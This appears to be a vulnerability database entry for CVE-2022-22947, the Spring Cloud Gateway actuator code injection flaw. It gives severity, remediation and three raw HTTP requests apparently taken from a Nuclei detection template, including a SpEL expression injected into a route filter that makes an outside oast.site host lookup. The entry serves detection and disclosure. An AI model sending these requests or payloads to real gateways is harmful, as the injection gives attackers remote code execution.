| Title | Spring Cloud Gateway Code Injection |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. |
| Remediation | Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks. |
| CVSS Score | 10 |
| EPSS Score | 0.94461 |
| CVE ID | CVE-2022-22947 |
| CWE ID | CWE-917,CWE-94 |
| Tags | cve cve2022 apache spring vmware actuator oast kev vkev vuln |
Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
POST /actuator/gateway/routes/38F6Pkfo5Yg2iqDhrmBJqmQNgR9 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 413
Content-Type: application/json
Accept-Encoding: gzip
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/38F6Pkfo5Yg2iqDhrmBJqmQNgR9/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"d5jm3p9le0o38128psogm719jjpi6r9ac.oast.site\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "/",
"order": 0
}
POST /actuator/gateway/refresh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Connection: close
Content-Length: 317
Content-Type: application/json
Accept-Encoding: gzip
{
"predicate": "Paths: [/38F6Pkfo5Yg2iqDhrmBJqmQNgR9], match trailing slash: true",
"route_id": "38F6Pkfo5Yg2iqDhrmBJqmQNgR9",
"filters": [
"[[RewritePath #{T(java.net.InetAddress).getByName(\"d5jm3p9le0o38128psogguic3rot586x7.oast.site\")} = /${path}], order = 1]"
],
"uri": "/",
"order": 0
}
DELETE /actuator/gateway/routes/38F6Pkfo5Yg2iqDhrmBJqmQNgR9 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22947.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-22947.pcap
N/AN/A